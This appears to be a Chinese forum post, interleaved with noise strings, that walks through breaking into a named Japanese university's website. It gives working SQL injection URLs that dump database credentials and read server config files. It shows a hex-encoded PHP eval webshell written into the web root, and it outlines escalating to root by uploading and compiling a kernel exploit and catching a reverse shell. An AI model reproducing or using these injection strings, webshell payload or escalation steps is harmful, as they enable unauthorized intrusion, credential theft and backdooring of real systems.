入侵日本同志社大学技术分析) f& i! Z- _7 {& F" a& K
* M1 w. b5 r7 T5 dhttp://www.doshisha.ac.jp/chs/news/index.php?i=-16 y2 s5 n7 R. m- L/ M7 E
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:4 o( T1 j, q% ~) r3 h; E9 B0 I- [
6 _. I* G# N- b v- shttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
+ |4 e6 O, D- W
- M% j3 b8 T& `
4 E% A* G# j1 q# H: K8 f3 U# W1 L: D! N$ j d+ z/ x% x
//@@datadir为数据库文件路径
) x1 S$ c7 t% J" H4 ?/ H1 E9 Z 2 v6 k& @' W0 ^2 p. x
9 y e4 |# c* O//load_file读取网站容器apache的配置文件
' S( D; m+ F, g# t: O* s! i" |. z
! k# R6 l$ _; z
8 T! Z" m$ u* T8 q//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
6 f5 O, \8 R) K7 a: s3 C2 N复制代码% c& _' _8 V: N0 i4 ?
n5 z+ \9 o6 T( H7 V% b. C虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
5 F8 H4 s. L" ^: m# Q
$ [" b H: E8 w- b/ m而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。9 A. z! _, x$ p, [3 z) J0 p
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
5 U+ n; e! d- Z$ y8 e6 r
- u7 ]# l* F: O2 E1 k# T6 ~% R! U前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。& d% ^. p$ u8 g9 e/ _* A
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html0 x1 T' ~, t% U3 @# u" Z& e
7 E4 K2 s6 D8 I8 I( L% O
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
- c* V2 e+ m7 ~8 U虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。# W3 {( ?/ q+ _
直接写一句话:
$ V3 l, P% S. G* `7 S/ e* k2 `8 d- u6 t- L) S# J" Q6 k5 V4 `/ {
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#+ o( R" y @6 ^
+ N7 m: E# t: v. z' r( A) U
o% J: S& F/ ^( T/ k5 @
* e" \0 ^5 B2 X5 t//最后的#是为了闭合前面的语句 . M" F: w/ P5 N: r4 t$ V
4 @/ m9 L( R3 F+ [. h4 v1 @
* _; b T" X- |* z0 V* P
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E + o F: j* s. x; t
- R! H2 N7 l! c# H
% n% e! m- ?, [' P' V5 H$ y! B* {7 [0 B为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ 0 G0 ]9 H! A8 D; }0 m
2 n2 h/ L% `+ \! h- \; g
7 [9 N, O8 y+ v G" t3 z: R" H
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
& l% T, B$ V3 y1 M9 W( ~9 I
C# r8 t+ {& L, l& c# q! D, N7 S0 m1 q
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
0 D; y* g/ G- q! r. l/ [. ?//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” " f) H5 a) j5 ~3 c" x5 G1 g1 ~5 J
复制代码/ F2 o5 z z6 t
d. `& C' X, d/ P# ?
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
( B7 O+ P% \9 h9 b7 Y/ l通过上述注入语句,我们就得到了一句话木马:: a" _) p/ {9 ~6 D( V
7 r, r" r2 B; y
% I9 ^) j) @: k9 i5 V
C" ~7 `- K+ l; m8 H1 |0 e4 |7 N $ }8 ~1 g+ x4 s3 S0 @* Q: D5 x
" o: O, e7 }" v7 U. hhttp://www.doshisha.ac.jp/english/engnews_img/aa.php ! W8 D: x' J/ z; K6 K: U
复制代码' q+ f& C! C9 Z2 R u
7 i* l; v' Q" M6 e3 M4 w3 r0 c% |
用菜刀连接,密码是cmd,如图所示:
9 h; m6 G6 o. \8 q5 E然后在命令提示行里看了一下,现在的权限是:
! z0 J; B- K! k4 V' V. j% h+ X# Q6 F- s% K7 r
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
) p( \$ s. F* s" v- p* f1 e4 l好在赋权给这个文件夹不需要root,直接执行赋权语句:4 h/ b; l/ S) W) g; ~% k
1 H u+ j9 `& D7 c
; t, p' H0 a' I$ L2 m+ d: X; ]) v, y7 |; S# k( s4 V
' C3 a- p$ G* @3 r( ?9 f! W' H
1 p$ C5 b$ }& W% b5 s6 a. xchmod +x /tmp/ 9 @9 [# z/ N6 } g6 }0 t
复制代码
- Z, o) }0 n# e) S g) I5 J v# v! j- X9 I; W
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行1 {8 f& k4 e, T; V
然后就查了一下内核版本:
- b1 h! Q7 V5 k1 b, {/ p+ @
. E& V; w4 H4 ~6 S3 K( q
" D! y: H# W8 \" G
& S W6 ` \% P I4 o0 y9 {
9 x7 Y% A) X- N$ e0 `/ E
; p3 V' k6 z, S, C5 ?$ b3 tuname-a - T2 L3 L/ K$ P, j7 m, u
& q6 N+ G7 F& U# y. K9 ?" a% {( ], N
//其实lsb_release -a " x0 `; B: }' F. m$ `
复制代码 N( t1 u' H6 f9 B3 X7 I, d: S
5 s* P) o, ]; W \" R/ m& A v/ `
如图所示:
5 |# D/ t# a& @ F, m w% w6 S
6 ]1 D% C% X7 S, s. R内核版本:linux mainz1 2.6.28-194.e15
# ^9 `* v$ {& [& f系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)+ L0 N T; R* ^( t
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
- z/ ^; U0 F& ^# M; V" E* ~. K# H% F$ [3 k3 n' n$ _
然后给予执行权限
8 J3 ~) A- B/ b) G一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样- o! z5 {; {3 P" q; M' K% i9 A0 M
" K" b( S, ^2 t5 [; g) y, M
" c; _1 | J. m Y3 Z( i4 [
E0 y- i! m, }# L1 c6 s2 o8 l
1 M, g- ~4 q9 j3 C
2 {* x, z8 ~. [& c+ pchmod +x /tmp/2.6.18-194
/ B) [; i0 {3 ]+ ?, R% @. e, R( C复制代码 然后直接执行!~1 }% \9 t7 H0 o% w) W0 r! Z
# H) P: B I' c# S6 G总结:8 _- N5 n j, E9 X9 o0 q9 {. t
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了. h5 p5 i s1 O) w- D: i/ z( V
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
2 h2 t( c9 F1 o) |9 m5 z$ F, Q+ ]. A' _8 l2 P+ g
|